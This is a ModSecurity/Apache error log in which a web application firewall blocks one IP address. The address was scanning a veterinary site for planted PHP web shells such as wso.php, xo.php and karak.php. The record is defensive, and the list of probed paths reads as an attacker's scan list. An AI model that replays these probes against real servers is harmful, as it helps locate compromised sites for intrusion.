[Mon Jan 05 18:51:15.693985 2026] [:error] [pid 54081:tid 54107] [client 4.197.220.165:10979] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVuXo1L4jLgtF-b9w4dvpQAAAVc"]
[Mon Jan 05 18:51:15.836470 2026] [:error] [pid 54081:tid 54105] [client 4.197.220.165:11131] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVuXo1L4jLgtF-b9w4dvpgAAAVU"]
[Mon Jan 05 18:51:15.932289 2026] [:error] [pid 54081:tid 54098] [client 4.197.220.165:10971] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aVuXo1L4jLgtF-b9w4dvpwAAAU4"]
[Mon Jan 05 18:51:16.021149 2026] [:error] [pid 6680:tid 6700] [client 4.197.220.165:10957] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aVuXpKE58uNoazzTmx3ZTgAAARI"]
[Mon Jan 05 18:51:16.070936 2026] [:error] [pid 54081:tid 54096] [client 4.197.220.165:11054] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aVuXpFL4jLgtF-b9w4dvqAAAAUw"]
[Mon Jan 05 18:51:16.127142 2026] [:error] [pid 5534:tid 5549] [client 4.197.220.165:10966] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aVuXpJNs9XmbR6unB0ymCQAAAAY"]
[Mon Jan 05 18:51:16.226721 2026] [:error] [pid 28407:tid 28423] [client 4.197.220.165:10823] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aVuXpNercd3ptydUzM0xyAAAAYw"]
[Mon Jan 05 18:51:16.278331 2026] [:error] [pid 54081:tid 54095] [client 4.197.220.165:10887] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aVuXpFL4jLgtF-b9w4dvqQAAAUs"]
[Mon Jan 05 18:51:16.375401 2026] [:error] [pid 5536:tid 5612] [client 4.197.220.165:11055] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aVuXpARtMZNG6xI8yDzOoQAAAI8"]
[Mon Jan 05 18:51:16.558767 2026] [:error] [pid 5534:tid 5552] [client 4.197.220.165:10819] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aVuXpJNs9XmbR6unB0ymCgAAAAk"]
[Mon Jan 05 18:51:16.650572 2026] [:error] [pid 5534:tid 5558] [client 4.197.220.165:10987] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aVuXpJNs9XmbR6unB0ymCwAAAA8"]
[Mon Jan 05 18:51:16.712986 2026] [:error] [pid 5632:tid 5658] [client 4.197.220.165:10846] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aVuXpIN3ZWvlOh-nbt-xIgAAAM4"]
[Mon Jan 05 18:51:16.789204 2026] [:error] [pid 54081:tid 54086] [client 4.197.220.165:10969] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aVuXpFL4jLgtF-b9w4dvrAAAAUI"]
[Mon Jan 05 18:51:16.838371 2026] [:error] [pid 5632:tid 5654] [client 4.197.220.165:10955] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aVuXpIN3ZWvlOh-nbt-xJAAAAMo"]
[Mon Jan 05 18:51:16.987410 2026] [:error] [pid 54081:tid 54100] [client 4.197.220.165:10947] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aVuXpFL4jLgtF-b9w4dvrQAAAVA"]
[Mon Jan 05 18:51:17.035276 2026] [:error] [pid 54081:tid 54102] [client 4.197.220.165:10885] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aVuXpVL4jLgtF-b9w4dvrgAAAVI"]
[Mon Jan 05 18:51:17.072133 2026] [:error] [pid 5534:tid 5565] [client 4.197.220.165:10993] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aVuXpZNs9XmbR6unB0ymDAAAABY"]
[Mon Jan 05 18:51:17.142610 2026] [:error] [pid 5534:tid 5562] [client 4.197.220.165:11052] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aVuXpZNs9XmbR6unB0ymDQAAABM"]
[Mon Jan 05 18:51:17.196843 2026] [:error] [pid 5534:tid 5563] [client 4.197.220.165:11065] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVuXpZNs9XmbR6unB0ymDgAAABQ"]
[Mon Jan 05 18:51:17.372250 2026] [:error] [pid 54081:tid 54090] [client 4.197.220.165:11129] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVuXpVL4jLgtF-b9w4dvrwAAAUY"]
[Mon Jan 05 18:51:17.433101 2026] [:error] [pid 54081:tid 54093] [client 4.197.220.165:10988] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVuXpVL4jLgtF-b9w4dvsAAAAUk"]
[Mon Jan 05 18:51:17.514127 2026] [:error] [pid 5534:tid 5554] [client 4.197.220.165:11081] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aVuXpZNs9XmbR6unB0ymDwAAAAs"]
[Mon Jan 05 18:51:17.611204 2026] [:error] [pid 5536:tid 5607] [client 4.197.220.165:11051] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aVuXpQRtMZNG6xI8yDzOpQAAAIo"]
[Mon Jan 05 18:51:17.715832 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:11124] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aVuXpZNs9XmbR6unB0ymEAAAAAU"]
[Mon Jan 05 18:51:17.788600 2026] [:error] [pid 5536:tid 5617] [client 4.197.220.165:10977] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aVuXpQRtMZNG6xI8yDzOpgAAAJQ"]
[Mon Jan 05 18:51:17.882872 2026] [:error] [pid 5534:tid 5567] [client 4.197.220.165:10956] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aVuXpZNs9XmbR6unB0ymEQAAABg"]
[Mon Jan 05 18:51:18.373501 2026] [:error] [pid 5534:tid 5551] [client 4.197.220.165:10948] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aVuXppNs9XmbR6unB0ymEwAAAAg"]
[Mon Jan 05 18:51:18.460768 2026] [:error] [pid 5632:tid 5653] [client 4.197.220.165:11239] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aVuXpoN3ZWvlOh-nbt-xKAAAAMk"]
[Mon Jan 05 18:51:18.571291 2026] [:error] [pid 5632:tid 5662] [client 4.197.220.165:10985] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aVuXpoN3ZWvlOh-nbt-xKQAAANI"]
[Mon Jan 05 18:51:18.983418 2026] [:error] [pid 54081:tid 54106] [client 4.197.220.165:10917] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo.php"] [unique_id "aVuXplL4jLgtF-b9w4dvtQAAAVY"]
[Mon Jan 05 18:51:19.057680 2026] [:error] [pid 5536:tid 5613] [client 4.197.220.165:15527] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aVuXpwRtMZNG6xI8yDzOpwAAAJA"]
[Mon Jan 05 18:51:19.156376 2026] [:error] [pid 5534:tid 5544] [client 4.197.220.165:11128] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aVuXp5Ns9XmbR6unB0ymFgAAAAE"]
[Mon Jan 05 18:51:19.220952 2026] [:error] [pid 54081:tid 54104] [client 4.197.220.165:10997] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aVuXp1L4jLgtF-b9w4dvtgAAAVQ"]
[Mon Jan 05 18:51:19.371859 2026] [:error] [pid 5534:tid 5555] [client 4.197.220.165:11120] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlu.php"] [unique_id "aVuXp5Ns9XmbR6unB0ymFwAAAAw"]
[Mon Jan 05 18:51:19.573117 2026] [:error] [pid 54081:tid 54107] [client 4.197.220.165:11074] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aVuXp1L4jLgtF-b9w4dvuQAAAVc"]
[Mon Jan 05 18:51:19.666354 2026] [:error] [pid 5534:tid 5546] [client 4.197.220.165:10967] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aVuXp5Ns9XmbR6unB0ymGAAAAAM"]
[Mon Jan 05 18:51:19.798907 2026] [:error] [pid 28407:tid 28417] [client 4.197.220.165:10890] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aVuXp9ercd3ptydUzM0x0wAAAYc"]
[Mon Jan 05 18:51:19.909139 2026] [:error] [pid 5534:tid 5564] [client 4.197.220.165:11027] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aVuXp5Ns9XmbR6unB0ymGQAAABU"]
[Mon Jan 05 18:51:20.031990 2026] [:error] [pid 5534:tid 5559] [client 4.197.220.165:10922] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aVuXqJNs9XmbR6unB0ymGgAAABA"]
[Mon Jan 05 18:51:20.118460 2026] [:error] [pid 5534:tid 5550] [client 4.197.220.165:11004] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aVuXqJNs9XmbR6unB0ymGwAAAAc"]
[Mon Jan 05 18:51:20.226782 2026] [:error] [pid 5535:tid 5576] [client 4.197.220.165:10886] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aVuXqGnkedMjhVX0PTVdjwAAAEY"]
[Mon Jan 05 18:51:20.304128 2026] [:error] [pid 54081:tid 54098] [client 4.197.220.165:11069] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aVuXqFL4jLgtF-b9w4dvuwAAAU4"]
[Mon Jan 05 18:51:20.354797 2026] [:error] [pid 5534:tid 5549] [client 4.197.220.165:10946] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aVuXqJNs9XmbR6unB0ymHAAAAAY"]
[Mon Jan 05 18:51:20.539518 2026] [:error] [pid 54081:tid 54096] [client 4.197.220.165:10838] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aVuXqFL4jLgtF-b9w4dvvAAAAUw"]
[Mon Jan 05 18:51:20.591440 2026] [:error] [pid 5632:tid 5649] [client 4.197.220.165:10900] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aVuXqIN3ZWvlOh-nbt-xKgAAAMU"]
[Mon Jan 05 18:51:20.643249 2026] [:error] [pid 5632:tid 5666] [client 4.197.220.165:10995] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aVuXqIN3ZWvlOh-nbt-xKwAAANY"]
[Mon Jan 05 18:51:20.699782 2026] [:error] [pid 54081:tid 54087] [client 4.197.220.165:11030] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aVuXqFL4jLgtF-b9w4dvvQAAAUM"]
[Mon Jan 05 18:51:20.776142 2026] [:error] [pid 5534:tid 5552] [client 4.197.220.165:10835] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aVuXqJNs9XmbR6unB0ymHgAAAAk"]
[Mon Jan 05 18:51:20.836163 2026] [:error] [pid 5632:tid 5667] [client 4.197.220.165:10911] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aVuXqIN3ZWvlOh-nbt-xLAAAANc"]
[Mon Jan 05 18:51:20.989525 2026] [:error] [pid 6680:tid 6685] [client 4.197.220.165:11110] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aVuXqKE58uNoazzTmx3ZUAAAAQM"]
[Mon Jan 05 18:51:21.058890 2026] [:error] [pid 54081:tid 54086] [client 4.197.220.165:10950] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVuXqVL4jLgtF-b9w4dvvgAAAUI"]
[Mon Jan 05 18:51:21.091990 2026] [:error] [pid 54081:tid 54100] [client 4.197.220.165:10940] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVuXqVL4jLgtF-b9w4dvvwAAAVA"]
[Mon Jan 05 18:51:21.186426 2026] [:error] [pid 54081:tid 54102] [client 4.197.220.165:10936] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVuXqVL4jLgtF-b9w4dvwAAAAVI"]
[Mon Jan 05 18:51:21.297116 2026] [:error] [pid 54081:tid 54090] [client 4.197.220.165:10817] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVuXqVL4jLgtF-b9w4dvwQAAAUY"]
[Mon Jan 05 18:51:21.343687 2026] [:error] [pid 54081:tid 54093] [client 4.197.220.165:10865] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aVuXqVL4jLgtF-b9w4dvwgAAAUk"]
[Mon Jan 05 18:51:21.390116 2026] [:error] [pid 5536:tid 5605] [client 4.197.220.165:11007] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aVuXqQRtMZNG6xI8yDzOqQAAAIg"]
